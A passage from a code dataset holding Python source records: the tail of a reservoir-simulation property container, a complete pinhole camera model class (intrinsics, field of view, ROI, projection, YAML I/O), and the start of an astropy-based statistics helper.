in range(self.nph):\r\n self.enthalpy[m] = self.enthalpy_ev[self.phases_name[m]].evaluate(temperature)\r\n\r\n rock_energy = self.rock_energy_ev.evaluate(temperature)\r\n\r\n return self.enthalpy, rock_energy\r\n\r\n def evaluate_at_cond(self, pressure, zc):\r\n\r\n self.sat[:] = 0\r\n\r\n if zc[-1] < 0:\r\n # print(zc)\r\n zc = self.comp_out_of_bounds(zc)\r\n\r\n ph = self.run_flash(pressure, zc)\r\n\r\n for j in ph:\r\n M = 0\r\n # molar weight of mixture\r\n for i in range(self.nc):\r\n M += self.Mw[i] * self.x[j][i]\r\n self.dens_m[j] = self.density_ev[self.phases_name[j]].evaluate(pressure, self.x[j][0]) / M\r\n\r\n self.compute_saturation(ph)\r\n\r\n return self.sat, self.dens_m\r\n\r\n","sub_path":"darts/models/physics/property_container.py","file_name":"property_container.py","file_ext":"py","file_size_in_byte":6603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"632823250","text":"from __future__ import division\n\nimport copy\nimport yaml\n\nimport numpy as np\nfrom PIL import Image\nfrom PIL import ImageDraw\n\n\ndef format_mat(x, precision):\n return (\"[%s]\" % (\n np.array2string(x, precision=precision,\n suppress_small=True, separator=\", \")\n .replace(\"[\", \"\").replace(\"]\", \"\").replace(\"\\n\", \"\\n \")))\n\n\nclass PinholeCameraModel(object):\n\n \"\"\"A Pinhole Camera Model\n\n more detail, see http://wiki.ros.org/image_pipeline/CameraInfo\n http://docs.ros.org/api/sensor_msgs/html/msg/CameraInfo.html\n\n Parameters\n ----------\n image_height : int\n height of camera image.\n image_width : int\n width of camera image.\n K : numpy.ndarray\n 3x3 intrinsic matrix.\n P : numpy.ndarray\n 3x4 projection matrix\n R : numpy.ndarray\n 3x3 rectification matrix.\n D : numpy.ndarray\n distortion.\n roi : None or list[float]\n [left_y, left_x, right_y, right_x] order.\n tf_frame : None or str\n tf frame. This is for ROS compatibility.\n stamp : None\n timestamp. This is for ROS compatibility.\n distortion_model : str\n type of distortion model.\n name : None or str\n name of this camera.\n full_K : numpy.ndarray or None\n original intrinsic matrix of full resolution.\n If `None`, set copy of K.\n full_P : numpy.ndarray or None\n original projection matrix of full resolution.\n If `None`, set copy of P.\n full_height : int or None\n This value is indicating original image height.\n full_width : int or None\n This value is indicating original image width.\n \"\"\"\n\n def __init__(self,\n image_height,\n image_width,\n K,\n P,\n R=np.eye(3),\n D=np.zeros(5),\n roi=None,\n tf_frame=None,\n stamp=None,\n distortion_model='plumb_bob',\n name='',\n full_K=None,\n full_P=None,\n full_height=None,\n full_width=None,\n binning_x=1,\n binning_y=1):\n self._width = image_width\n self._height = image_height\n self._full_width = full_width or self._width\n self._full_height = full_height or self._height\n self._aspect = 1.0 * self.width / self.height\n self.K = K\n self.D = D\n self.R = R\n self.P = P\n self.distortion_model = distortion_model\n self.name = name\n if full_K is not None:\n self._full_K = full_K\n else:\n self._full_K = self.K.copy()\n if full_P is not None:\n self._full_P = full_P\n else:\n self._full_P = self.P.copy()\n self._fovx = 2.0 * np.rad2deg(np.arctan(self.width / (2.0 * self.fx)))\n self._fovy = 2.0 * np.rad2deg(np.arctan(self.height / (2.0 * self.fy)))\n self.binning_x = binning_x\n self.binning_y = binning_y\n self.roi = roi or [0, 0, self._height, self._width]\n self.tf_frame = tf_frame\n self.stamp = stamp\n\n @property\n def width(self):\n \"\"\"Returns image width\n\n Returns\n -------\n self._width : int\n image width\n \"\"\"\n return self._width\n\n @width.setter\n def width(self, width):\n \"\"\"Setter of image width\n\n Parameters\n ----------\n width : float\n image width of this camera\n \"\"\"\n if width <= 0:\n raise ValueError\n self._width = width\n self._fovx = 2.0 * np.rad2deg(np.arctan(self.width / (2.0 * self.fx)))\n self._aspect = 1.0 * self.width / self.height\n\n @property\n def height(self):\n \"\"\"Returns image height\n\n Returns\n -------\n self._height : int\n image height\n \"\"\"\n return self._height\n\n @height.setter\n def height(self, height):\n \"\"\"Setter of image height\n\n Parameters\n ----------\n height : float\n image height of this camera\n \"\"\"\n if height <= 0:\n raise ValueError\n self._height = height\n self._fovy = 2.0 * np.rad2deg(np.arctan(self.height / (2.0 * self.fy)))\n self._aspect = 1.0 * self.width / self.height\n\n @property\n def aspect(self):\n \"\"\"Return aspect ratio\n\n Returns\n -------\n self._aspect : float\n ascpect ratio of this camera.\n \"\"\"\n return self._aspect\n\n @property\n def cx(self):\n \"\"\"Returns x center\n\n Returns\n -------\n cx : numpy.float32\n\n \"\"\"\n return self.P[0, 2]\n\n @property\n def cy(self):\n \"\"\"Returns y center\n\n Returns\n -------\n cy : numpy.float32\n\n \"\"\"\n return self.P[1, 2]\n\n @property\n def fx(self):\n \"\"\"Returns x focal length\n\n Returns\n -------\n fx : numpy.float32\n\n \"\"\"\n return self.P[0, 0]\n\n @property\n def fy(self):\n \"\"\"Returns y focal length\n\n Returns\n -------\n fy : numpy.float32\n\n \"\"\"\n return self.P[1, 1]\n\n @property\n def fov(self):\n \"\"\"Property of fov.\n\n Returns\n -------\n fov : tuple(float)\n tuple of (fovx, fovy).\n \"\"\"\n return (self._fovx, self._fovy)\n\n @property\n def fovx(self):\n \"\"\"Property of horizontal fov.\n\n Returns\n -------\n self._fovx : float\n horizontal fov of this camera.\n \"\"\"\n return self._fovx\n\n @property\n def fovy(self):\n \"\"\"Property of vertical fov.\n\n Returns\n -------\n self._fovy : float\n vertical fov of this camera.\n \"\"\"\n return self._fovy\n\n def get_camera_matrix(self):\n \"\"\"Return camera matrix\n\n Returns\n -------\n camera_matrix : numpy.ndarray\n camera matrix from Projection matrix.\n \"\"\"\n return self.P[:3, :3]\n\n @property\n def K(self):\n \"\"\"Intrinsic camera matrix for the raw (distorted) images.\n\n .. math::\n K = \\\\left(\n \\\\begin{array}{ccc}\n f_x & 0 & c_x \\\\\\\\\n 0 & f_y & c_y \\\\\\\\\n 0 & 0 & 1\n \\\\end{array}\n \\\\right)\n\n Projects 3D points in the camera coordinate frame to 2D pixel\n coordinates using the focal lengths (fx, fy) and principal point\n (cx, cy).\n\n Returns\n -------\n self._K : numpy.ndarray\n 3x3 intrinsic matrix.\n \"\"\"\n return self._K\n\n @K.setter\n def K(self, k):\n self._K = np.array(k, dtype=np.float32).reshape(3, 3)\n\n @property\n def P(self):\n \"\"\"Projection camera_matrix\n\n By convention, this matrix specifies the intrinsic\n (camera) matrix of the processed (rectified) image.\n\n .. math::\n P = \\\\left(\n \\\\begin{array}{cccc}\n {f_x}' & 0 & {c_x}' & T_x \\\\\\\\\n 0 & {f_y}' & {c_y}' & T_y \\\\\\\\\n 0 & 0 & 1 & 0\n \\\\end{array}\n \\\\right)\n\n Returns\n -------\n self._P : numpy.ndarray\n 4x3 projection matrix.\n \"\"\"\n return self._P\n\n @P.setter\n def P(self, p):\n self._P = np.array(p, dtype=np.float32).reshape(3, 4)\n self._fovx = 2.0 * np.rad2deg(np.arctan(self.width / (2.0 * self.fx)))\n self._fovy = 2.0 * np.rad2deg(np.arctan(self.height / (2.0 * self.fy)))\n\n @property\n def R(self):\n \"\"\"Rectification matrix (stereo cameras only)\n\n A rotation matrix aligning the camera coordinate system to the ideal\n stereo image plane so that epipolar lines in both stereo images are\n parallel.\n\n Returns\n -------\n self._R : numpy.ndarray\n rectification matrix.\n \"\"\"\n return self._R\n\n @R.setter\n def R(self, r):\n self._R = np.array(r, dtype=np.float32).reshape(3, 3)\n\n @property\n def D(self):\n \"\"\"Property of distortion parameters\n\n The distortion parameters, size depending on the distortion model.\n For \"plumb_bob\", the 5 parameters are: (k1, k2, t1, t2, k3).\n\n Returns\n -------\n self._D : numpy.ndarray\n distortion array.\n \"\"\"\n return self._D\n\n @D.setter\n def D(self, d):\n self._D = np.array(d, dtype=np.float32)\n\n @property\n def full_K(self):\n \"\"\"Return the original camera matrix for full resolution\n\n Returns\n -------\n self.full_K : numpy.ndarray\n intrinsic matrix.\n \"\"\"\n return self._full_K\n\n @property\n def full_P(self):\n \"\"\"Return the projection matrix for full resolution\n\n Returns\n -------\n self.full_P : numpy.ndarray\n projection matrix.\n \"\"\"\n return self._full_P\n\n @property\n def binning_x(self):\n \"\"\"Return number of pixels to decimate to one horizontally.\n\n Returns\n -------\n self._binning_x : int\n binning x.\n \"\"\"\n return self._binning_x\n\n @binning_x.setter\n def binning_x(self, decimation_x):\n \"\"\"Setter of binning_x\n\n Parameters\n -----------\n decimation_x : int\n decimation value.\n \"\"\"\n self._binning_x = max(int(decimation_x), 1)\n\n @property\n def binning_y(self):\n \"\"\"Return number of pixels to decimate to one vertically.\n\n Returns\n -------\n self._binning_y : int\n binning y.\n \"\"\"\n return self._binning_y\n\n @binning_y.setter\n def binning_y(self, decimation_y):\n \"\"\"Setter of binning_y\n\n Parameters\n -----------\n decimation_y : int\n decimation value.\n \"\"\"\n self._binning_y = max(int(decimation_y), 1)\n\n @property\n def roi(self):\n \"\"\"Return roi\n\n Returns\n -------\n self._roi : None or list[float]\n [left_y, left_x, right_y, right_x] order.\n \"\"\"\n return self._roi\n\n @roi.setter\n def roi(self, roi):\n \"\"\"Setter of roi.\n\n Parameters\n ----------\n roi : list[float]\n [left_y, left_x, right_y, right_x] order.\n \"\"\"\n y1, x1, y2, x2 = roi\n K = self.full_K.copy()\n K[0, 2] = (K[0, 2] - x1)\n K[1, 2] = (K[1, 2] - y1)\n P = self.full_P.copy()\n P[0, 2] = (P[0, 2] - x1)\n P[1, 2] = (P[1, 2] - y1)\n\n height = y2 - y1\n width = x2 - x1\n self.K = K\n self.P = P\n self._width = width\n self._height = height\n self._roi = roi\n\n @property\n def open3d_intrinsic(self):\n \"\"\"Return open3d.camera.PinholeCameraIntrinsic instance.\n\n Returns\n -------\n intrinsic : open3d.camera.PinholeCameraIntrinsic\n open3d PinholeCameraIntrinsic\n \"\"\"\n try:\n import open3d\n except ImportError:\n raise RuntimeError(\n \"Open3d is not installed. Please install Open3d\")\n intrinsic = open3d.camera.PinholeCameraIntrinsic(\n self.width,\n self.height,\n self.fx,\n self.fy,\n self.cx,\n self.cy)\n return intrinsic\n\n @staticmethod\n def calc_fovx(fovy, height, width):\n \"\"\"Return fovx from fovy, height and width.\n\n Parameters\n ----------\n fovy : float\n field of view in degree.\n height : int\n height of camera.\n width : int\n width of camera.\n\n Returns\n -------\n fovx : float\n calculated fovx.\n \"\"\"\n aspect = 1.0 * width / height\n fovx = np.rad2deg(2 * np.arctan(\n np.tan(0.5 * np.deg2rad(fovy)) * aspect))\n return fovx\n\n @staticmethod\n def calc_fovy(fovx, height, width):\n \"\"\"Return fovy from fovx, height and width.\n\n Parameters\n ----------\n fovx : float\n horizontal field of view in degree.\n height : int\n height of camera.\n width : int\n width of camera.\n\n Returns\n -------\n fovy : float\n calculated fovy.\n \"\"\"\n aspect = 1.0 * width / height\n fovy = np.rad2deg(\n 2 * np.arctan(\n np.tan(0.5 * np.deg2rad(fovx)) / aspect))\n return fovy\n\n @staticmethod\n def calc_f_from_fov(fov, aperture):\n \"\"\"Return focal length.\n\n Parameters\n ----------\n fov : float\n field of view in degree.\n aperture : float\n aperture.\n\n Returns\n -------\n focal_length : float\n calculated focal length.\n \"\"\"\n return aperture / (2.0 * np.tan(np.deg2rad(fov / 2.0)))\n\n @staticmethod\n def from_fov(fovy, height, width, **kwargs):\n \"\"\"Return PinholeCameraModel from fovy.\n\n Parameters\n ----------\n fovy : float\n vertical field of view in degree.\n height : int\n height of camera.\n width : int\n width of camera.\n\n Returns\n -------\n cameramodel : cameramodels.PinholeCameraModel\n camera model\n \"\"\"\n return PinholeCameraModel.from_fovy(fovy, height, width, **kwargs)\n\n @staticmethod\n def from_fovx(fovx, height, width, **kwargs):\n \"\"\"Return PinholeCameraModel from fovx.\n\n Parameters\n ----------\n fovx : float\n horizontal field of view in degree.\n height : int\n height of camera.\n width : int\n width of camera.\n\n Returns\n -------\n cameramodel : cameramodels.PinholeCameraModel\n camera model\n \"\"\"\n fovy = PinholeCameraModel.calc_fovy(fovx, height, width)\n fy = PinholeCameraModel.calc_f_from_fov(fovy, height)\n fx = PinholeCameraModel.calc_f_from_fov(fovx, width)\n K = [fx, 0, width / 2.0,\n 0, fy, height / 2.0,\n 0, 0, 1]\n P = [fx, 0, width / 2.0, 0,\n 0, fy, height / 2.0, 0,\n 0, 0, 1, 0]\n return PinholeCameraModel(\n image_height=height,\n image_width=width,\n K=K,\n P=P,\n **kwargs)\n\n @staticmethod\n def from_fovy(fovy, height, width, **kwargs):\n \"\"\"Return PinholeCameraModel from fovy.\n\n Parameters\n ----------\n fovy : float\n vertical field of view in degree.\n height : int\n height of camera.\n width : int\n width of camera.\n\n Returns\n -------\n cameramodel : cameramodels.PinholeCameraModel\n camera model\n \"\"\"\n fovx = PinholeCameraModel.calc_fovx(fovy, height, width)\n fy = PinholeCameraModel.calc_f_from_fov(fovy, height)\n fx = PinholeCameraModel.calc_f_from_fov(fovx, width)\n K = [fx, 0, width / 2.0,\n 0, fy, height / 2.0,\n 0, 0, 1]\n P = [fx, 0, width / 2.0, 0,\n 0, fy, height / 2.0, 0,\n 0, 0, 1, 0]\n return PinholeCameraModel(\n image_height=height,\n image_width=width,\n K=K,\n P=P,\n **kwargs)\n\n @staticmethod\n def from_open3d_intrinsic(open3d_pinhole_intrinsic):\n \"\"\"Return PinholeCameraModel from open3d's pinhole camera intrinsic.\n\n Parameters\n ----------\n open3d_pinhole_intrinsic : open3d.camera.PinholeCameraIntrinsic\n open3d PinholeCameraIntrinsic\n\n Returns\n -------\n cameramodel : cameramodels.PinholeCameraModel\n camera model\n \"\"\"\n width = open3d_pinhole_intrinsic.width\n height = open3d_pinhole_intrinsic.height\n K = open3d_pinhole_intrinsic.intrinsic_matrix\n P = np.zeros((3, 4), dtype=np.float64)\n P[:3, :3] = K.copy()\n return PinholeCameraModel(height, width, K, P)\n\n @staticmethod\n def from_intrinsic_matrix(intrinsic_matrix, height, width,\n **kwargs):\n \"\"\"Return PinholeCameraModel from intrinsic_matrix.\n\n Parameters\n ----------\n intrinsic_matrix : numpy.ndarray\n [3, 3] intrinsic matrix.\n height : int\n height of camera.\n width : int\n width of camera.\n kwargs : dict\n keyword args. These values are passed to\n cameramodels.PinholeCameraModel\n\n Returns\n -------\n cameramodel : cameramodels.PinholeCameraModel\n camera model\n \"\"\"\n K = np.array(intrinsic_matrix, dtype=np.float64)\n P = np.zeros((3, 4), dtype=np.float64)\n P[:3, :3] = K.copy()\n return PinholeCameraModel(height, width, K, P,\n **kwargs)\n\n @staticmethod\n def from_yaml_file(filename):\n \"\"\"Create instance of PinholeCameraModel from yaml file.\n\n This function is supporting OpenCV calibration program's\n YAML format and sensor_msgs/CameraInfo's YAML format in ROS.\n\n Parameters\n ----------\n filename : str\n path of yaml file.\n\n Returns\n -------\n cameramodel : cameramodels.PinholeCameraModel\n camera model\n \"\"\"\n with open(filename, 'r') as f:\n data = yaml.load(f, Loader=yaml.FullLoader)\n roi = None\n if 'image_width' in data:\n # opencv format\n image_width = data['image_width']\n image_height = data['image_height']\n K = data['camera_matrix']['data']\n P = data['projection_matrix']['data']\n R = data['rectification_matrix']['data']\n D = data['distortion_coefficients']['data']\n distortion_model = 'plumb_bob'\n if 'camera_name' in data:\n name = data['camera_name']\n else:\n name = ''\n elif 'width' in data:\n # ROS yaml format\n image_width = data['width']\n image_height = data['height']\n K = data['K']\n P = data['P']\n R = data['R']\n D = data['D']\n\n # ROI all zeros is considered the same as full resolution\n if 'roi' in data:\n x_offset = data['roi']['x_offset']\n y_offset = data['roi']['y_offset']\n roi_width = data['roi']['width']\n roi_height = data['roi']['height']\n if x_offset == 0 \\\n and y_offset == 0 \\\n and roi_width == 0 \\\n and roi_height == 0:\n roi_width = image_width\n roi_height = image_height\n roi = [y_offset,\n x_offset,\n y_offset + roi_height,\n x_offset + roi_width]\n distortion_model = data['distortion_model']\n name = ''\n else:\n raise RuntimeError(\"Not supported YAML file.\")\n return PinholeCameraModel(\n image_height, image_width,\n K, P, R, D, roi=roi,\n distortion_model=distortion_model,\n name=name)\n\n @staticmethod\n def from_camera_info(camera_info_msg):\n \"\"\"Return PinholeCameraModel from camera_info_msg\n\n Parameters\n ----------\n camera_info_msg : sensor_msgs.msg.CameraInfo\n message of camera info.\n\n Returns\n -------\n cameramodel : cameramodels.PinholeCameraModel\n camera model\n \"\"\"\n K = np.array(camera_info_msg.K, dtype=np.float32).reshape(3, 3)\n if camera_info_msg.D:\n D = np.array(camera_info_msg.D, dtype=np.float32)\n else:\n D = np.zeros(5)\n R = np.array(camera_info_msg.R, dtype=np.float32).reshape(3, 3)\n P = np.array(camera_info_msg.P, dtype=np.float32).reshape(3, 4)\n image_width = camera_info_msg.width\n image_height = camera_info_msg.height\n\n # Binning refers here to any camera setting which combines rectangular\n # neighborhoods of pixels into larger \"super-pixels.\" It reduces the\n # resolution of the output image to\n # (width / binning_x) x (height / binning_y).\n # The default values binning_x = binning_y = 0 is consider\n binning_x = max(1, camera_info_msg.binning_x)\n binning_y = max(1, camera_info_msg.binning_y)\n\n raw_roi = copy.copy(camera_info_msg.roi)\n # ROI all zeros is considered the same as full resolution\n if (raw_roi.x_offset == 0 and raw_roi.y_offset == 0 and\n raw_roi.width == 0 and raw_roi.height == 0):\n raw_roi.width = image_width\n raw_roi.height = image_height\n\n roi = [raw_roi.y_offset,\n raw_roi.x_offset,\n raw_roi.y_offset + raw_roi.height,\n raw_roi.x_offset + raw_roi.width]\n tf_frame = camera_info_msg.header.frame_id\n stamp = camera_info_msg.header.stamp\n\n full_K = K.copy()\n full_P = P.copy()\n # Adjust K and P for binning and ROI\n K[0, 0] /= binning_x\n K[1, 1] /= binning_y\n K[0, 2] = (K[0, 2] - raw_roi.x_offset) / binning_x\n K[1, 2] = (K[1, 2] - raw_roi.y_offset) / binning_y\n P[0, 0] /= binning_x\n P[1, 1] /= binning_y\n P[0, 2] = (P[0, 2] - raw_roi.x_offset) / binning_x\n P[1, 2] = (P[1, 2] - raw_roi.y_offset) / binning_y\n return PinholeCameraModel(\n raw_roi.height, raw_roi.width,\n K, P, R, D,\n roi,\n tf_frame,\n stamp,\n distortion_model=camera_info_msg.distortion_model,\n full_K=full_K,\n full_P=full_P,\n full_height=image_height,\n full_width=image_width,\n binning_x=binning_x,\n binning_y=binning_y)\n\n def crop_image(self, img, copy=False):\n \"\"\"Crop input full resolution image considering roi.\n\n Parameters\n ----------\n img : numpy.ndarray\n input image. (H, W, channel)\n copy : bool\n if `True`, return copy image.\n\n Returns\n -------\n cropped_img : numpy.ndarray\n cropped image.\n \"\"\"\n if img.ndim == 3:\n H, W, _ = img.shape\n elif img.ndim == 2:\n H, W = img.shape\n else:\n raise ValueError('Input image is not gray or rgb image.')\n if H != self._full_height or W != self._full_width:\n raise ValueError('Input image shape should be ({}, {})'\n ', given ({}, {})'.format(\n self._full_width, self._full_height, W, H))\n y1, x1, y2, x2 = self.roi\n if copy:\n return img[y1:y2, x1:x2].copy()\n else:\n return img[y1:y2, x1:x2]\n\n def project_pixel_to_3d_ray(self, uv, normalize=False):\n \"\"\"Returns the ray vector\n\n Returns the unit vector which passes from the camera center to\n through rectified pixel (u, v),\n using the camera :math:`P` matrix.\n This is the inverse of :meth:`project3d_to_pixel`.\n\n Parameters\n ----------\n uv : numpy.ndarray\n rectified pixel coordinates\n normalize : bool\n if True, return normalized ray vector (unit vector).\n\n Returns\n -------\n ray_vector : tuple(float)\n ray vector.\n \"\"\"\n x = (uv[0] - self.cx) / self.fx\n y = (uv[1] - self.cy) / self.fy\n z = 1.0\n if normalize:\n norm = np.sqrt(x*x + y*y + 1)\n x /= norm\n y /= norm\n z /= norm\n return (x, y, z)\n\n def batch_project_pixel_to_3d_ray(self, uv,\n depth=None):\n \"\"\"Returns the ray vectors\n\n This function is the batch version of\n :meth:`project_pixel_to_3d_ray`.\n Returns the unit vector which passes from the\n camera center to through rectified pixel (u, v),\n using the camera :math:`P` matrix.\n This is the inverse of :meth:`batch_project3d_to_pixel`.\n If depth is specified, return 3d points.\n\n Parameters\n ----------\n uv : numpy.ndarray\n rectified pixel coordinates\n depth : None or numpy.ndarray\n depth value. If this value is specified,\n Return 3d points.\n\n Returns\n -------\n ret : numpy.ndarray\n calculated ray vectors or points(depth is given case).\n Shape of (batch_size, 3)\n \"\"\"\n x = (uv[:, 0] - self.cx) / self.fx\n y = (uv[:, 1] - self.cy) / self.fy\n if depth is not None:\n z = depth.reshape(-1)\n x = x * z\n y = y * z\n else:\n z = np.ones(len(x))\n return np.vstack([x, y, z]).T\n\n def project3d_to_pixel(self, point):\n \"\"\"Returns the rectified pixel coordinates\n\n Returns the rectified pixel coordinates (u, v) of the 3D point,\n using the camera :math:`P` matrix.\n This is the inverse of :meth `project_pixel_to_3d_ray`.\n\n Parameters\n ----------\n point : numpy.ndarray\n 3D point (x, y, z)\n\n Returns\n -------\n uv : tuple(float)\n uv coordinates. If point is not in range of this camera model,\n return tuple(float('nan'), float('nan')).\n \"\"\"\n dst = np.matmul(self.P, np.array(\n [point[0], point[1], point[2], 1.0], 'f').reshape(4, 1))\n x = dst[0, 0]\n y = dst[1, 0]\n w = dst[2, 0]\n if w != 0:\n return (x / w, y / w)\n else:\n return (float('nan'), float('nan'))\n\n def batch_project3d_to_pixel(self, points,\n project_valid_depth_only=False,\n return_indices=False):\n \"\"\"Return project uv coordinates points\n\n Returns the rectified pixel coordinates (u, v) of the 3D points\n using the camera :math:`P` matrix.\n This is the inverse of :meth:`batch_project_pixel_to_3d_ray`.\n\n Parameters\n ----------\n points : numpy.ndarray\n batch of xyz point (batch_size, 3)\n project_valid_depth_only : bool\n If True, return uvs which are in frame.\n return_indices : bool\n If this value and project_valid_depth_only are True,\n return valid indices.\n\n Returns\n -------\n points : numpy.ndarray\n shape of (batch_size, 2).\n \"\"\"\n points = np.array(points, dtype=np.float32)\n n = len(points)\n points = np.concatenate(\n [points, np.ones(n, dtype=np.float32).reshape(n, 1)], axis=1)\n dst = np.matmul(self.P, points.T).T\n x = dst[:, 0]\n y = dst[:, 1]\n w = dst[:, 2]\n uv = np.concatenate(\n [(x / w).reshape(-1, 1), (y / w).reshape(-1, 1)], axis=1)\n if project_valid_depth_only is True:\n valid_indices = np.logical_and(\n np.logical_and(0 <= uv[:, 0], uv[:, 0] < self.width),\n np.logical_and(0 <= uv[:, 1], uv[:, 1] < self.height))\n uv = uv[valid_indices]\n if return_indices is True:\n return uv, np.where(valid_indices)[0]\n return uv\n\n def get_view_frustum(self, max_depth=1.0,\n translation=np.zeros(3),\n rotation=np.eye(3)):\n \"\"\"Return View Frustsum of this camera model.\n\n Parameters\n ----------\n max_depth : float\n max depth of frustsum.\n translation : numpy.ndarray\n translation vector\n rotation : numpy.ndarray\n rotation matrix\n\n Returns\n -------\n view_frust_pts : numpy.ndarray\n view frust points shape of (5, 3).\n\n Examples\n --------\n >>> from cameramodels import Xtion\n >>> cameramodel = Xtion()\n >>> cameramodel.get_view_frustum(max_depth=1.0)\n array([[ 0. , 0. , 0. ],\n [-0.41421356, -0.41421356, 1. ],\n [-0.41421356, 0.41421356, 1. ],\n [ 0.41421356, -0.41421356, 1. ],\n [ 0.41421356, 0.41421356, 1. ]])\n \"\"\"\n height = self.height\n width = self.width\n cx = self.cx\n cy = self.cy\n fx = self.fx\n fy = self.fy\n view_frust_pts = np.array(\n [(np.array([0, 0, 0, width, width]) - cx) *\n np.array([0, max_depth, max_depth, max_depth, max_depth]) / fx,\n (np.array([0, 0, height, 0, height]) - cy) *\n np.array([0, max_depth, max_depth, max_depth, max_depth]) / fy,\n np.array([0, max_depth, max_depth, max_depth, max_depth])])\n view_frust_pts = np.dot(rotation, view_frust_pts) + np.tile(\n translation.reshape(3, 1), (1, view_frust_pts.shape[1]))\n return view_frust_pts.T\n\n def flatten_uv(self, uv, dtype=np.int64):\n \"\"\"Flattens uv coordinates to single dimensional tensor.\n\n This is the inverse of :meth:`flattened_pixel_locations_to_uv`.\n\n Parameters\n ----------\n uv : numpy.ndarray or list[tuple(float, float)]\n A pair of uv pixels. Shape of (batch_size, 2).\n [(u_1, v_1), (u_2, v_2) ..., (u_n, v_n)].\n dtype : type\n data type. default is numpy.int64.\n\n Returns\n -------\n ret : numpy.ndarray\n Flattened uv tensor of shape (n, ).\n\n Examples\n --------\n >>> from cameramodels import PinholeCameraModel\n >>> cm = PinholeCameraModel.from_fovy(45, 480, 640)\n >>> cm.flatten_uv(np.array([(1, 0), (100, 1), (100, 2)]))\n array([ 1, 740, 1380])\n \"\"\"\n uv = np.array(uv)\n return np.array(uv[:, 1], dtype=dtype) * self.width \\\n + np.array(uv[:, 0], dtype=dtype)\n\n def flattened_pixel_locations_to_uv(self, flat_pixel_locations):\n \"\"\"Flattens pixel locations(single dimension tensor) to uv coordinates.\n\n This is the inverse of :meth:`flatten_uv`.\n\n Parameters\n ----------\n flat_pixel_locations : numpy.ndarray or list[float]\n Flattened pixel locations.\n\n Returns\n -------\n ret : numpy.ndarray\n UV coordinates.\n\n Examples\n --------\n >>> from cameramodels import PinholeCameraModel\n >>> cm = PinholeCameraModel.from_fovy(45, 480, 640)\n >>> flatten_uv = [1, 740, 1380]\n >>> cm.flattened_pixel_locations_to_uv(flatten_uv)\n array([[ 1, 0],\n [100, 1],\n [100, 2]])\n \"\"\"\n flat_pixel_locations = np.array(flat_pixel_locations, dtype=np.int64)\n return np.hstack([\n (flat_pixel_locations % self.width).reshape(-1, 1),\n (flat_pixel_locations.T // self.width).reshape(-1, 1)])\n\n def dump(self, output_filepath):\n \"\"\"Dump this camera's parameter to yaml file.\n\n Parameters\n ----------\n output_filepath : str or pathlib.Path\n output path\n \"\"\"\n camera_data = \"\\n\".join([\n \"image_width: %d\" % self._full_width,\n \"image_height: %d\" % self._full_height,\n \"camera_name: \" + self.name,\n \"camera_matrix:\",\n \" rows: 3\",\n \" cols: 3\",\n \" data: \" + format_mat(\n np.array(self.full_K.reshape(-1), dtype=np.float64), 5),\n \"distortion_model: \" + self.distortion_model,\n \"distortion_coefficients:\",\n \" rows: 1\",\n \" cols: %d\" % len(self.D),\n \" data: [%s]\" % \", \".join(\n \"%8f\" % x\n for x in self.D),\n \"rectification_matrix:\",\n \" rows: 3\",\n \" cols: 3\",\n \" data: \" + format_mat(\n np.array(self.R.reshape(-1), dtype=np.float64), 8),\n \"projection_matrix:\",\n \" rows: 3\",\n \" cols: 4\",\n \" data: \" + format_mat(\n np.array(self.full_P.reshape(-1), dtype=np.float64), 5),\n \"\"\n ])\n with open(str(output_filepath), 'w') as f:\n f.write(camera_data)\n\n def draw_roi(self, bgr_img, color=(46, 204, 113),\n box_width=None, copy=False):\n \"\"\"Draw Region of Interest\n\n Parameters\n ----------\n bgr_img : numpy.ndarray\n input image.\n color : tuple(int)\n RGB order color.\n box_width : None or int\n box width. If `None`, automatically set from image size.\n copy : bool\n If `True`, return copy image.\n If input image is gray image, this option will be ignored.\n\n Returns\n -------\n img : numpy.ndarray\n ROI drawn image.\n \"\"\"\n if bgr_img.ndim == 2:\n img = bgr_img\n elif bgr_img.ndim == 3:\n if bgr_img.shape[2] == 3:\n img = bgr_img[..., ::-1]\n elif bgr_img.shape[2] == 4:\n img = bgr_img[..., [2, 1, 0, 3]]\n else:\n raise ValueError('Input image is not valid rgb image')\n else:\n raise ValueError('Input image is not gray or rgb image.')\n\n overlay = Image.new(\"RGBA\", (img.shape[1], img.shape[0]), (0, 0, 0, 0))\n trans_draw = ImageDraw.Draw(overlay)\n y1, x1, y2, x2 = self.roi\n box_width = box_width or max(int(round(max(overlay.size) / 180)), 1)\n trans_draw.rectangle((x1, y1, x2, y2), outline=color + (255,),\n width=box_width)\n pil_img = Image.fromarray(img)\n mode = pil_img.mode\n pil_img = pil_img.convert(\"RGBA\")\n pil_img = Image.alpha_composite(pil_img, overlay)\n if mode == 'L' or mode == 'RGB':\n pil_img = pil_img.convert('RGB')\n elif mode == 'RGBA':\n pil_img = pil_img.convert('RGBA')\n else:\n raise NotImplementedError\n\n rgb_to_bgr_indices = [2, 1, 0]\n if mode == 'RGBA':\n rgb_to_bgr_indices += [3]\n if mode == 'L' or copy:\n return np.array(pil_img, dtype=img.dtype)[..., rgb_to_bgr_indices]\n else:\n np_pil_img = np.array(pil_img, dtype=img.dtype)\n bgr_img[:] = np_pil_img[..., rgb_to_bgr_indices]\n return bgr_img\n","sub_path":"cameramodels/pinhole_camera.py","file_name":"pinhole_camera.py","file_ext":"py","file_size_in_byte":34998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"247273782","text":"\"\"\"Utility functions for ``stginga``.\"\"\"\nfrom __future__ import (absolute_import, division, print_function,\n unicode_literals)\n\n# THIRD-PARTY\nimport numpy as np\nfrom astropy.stats import biweight_location\nfrom astropy.stats import sigma_clip\nfrom astropy import version as astropy_version\n\n__all__ = ['calc_stat']\n\n\ndef calc_stat(data, sigma=1.8, niter=10, algorithm='median'):\n \"\"\"Calculate statistics for given data.\n\n Parameters\n ----------\n data : ndarray\n Data to be calculated from.\n\n sigma : float\n Sigma for sigma clipping.\n\n niter : int\n Number of iterations for sigma clipping.\n\n algorithm : {'mean', 'median', 'mode', 'stddev'}\n Algorithm for statistics calculation.\n\n Returns\n -------\n val : float\n Statistics value.\n\n Raises\n ------\n ValueError\n Invalid algorithm.\n\n \"\"\"\n arr = np.ravel(data)\n\n if len(arr) < 1:\n return 0.0\n\n if ((astropy_version.major==1 and astropy_version.minor==0) or\n (astropy_version.major < 1)):\n arr_masked = sigma_clip(arr, sig=sigma, iters=niter)\n else:\n arr_masked = sigma_clip(arr, sigma=sigma, iters=niter)\n\n arr = arr_masked.data[~arr_masked.mask]\n\n if len(arr) < 1:\n return 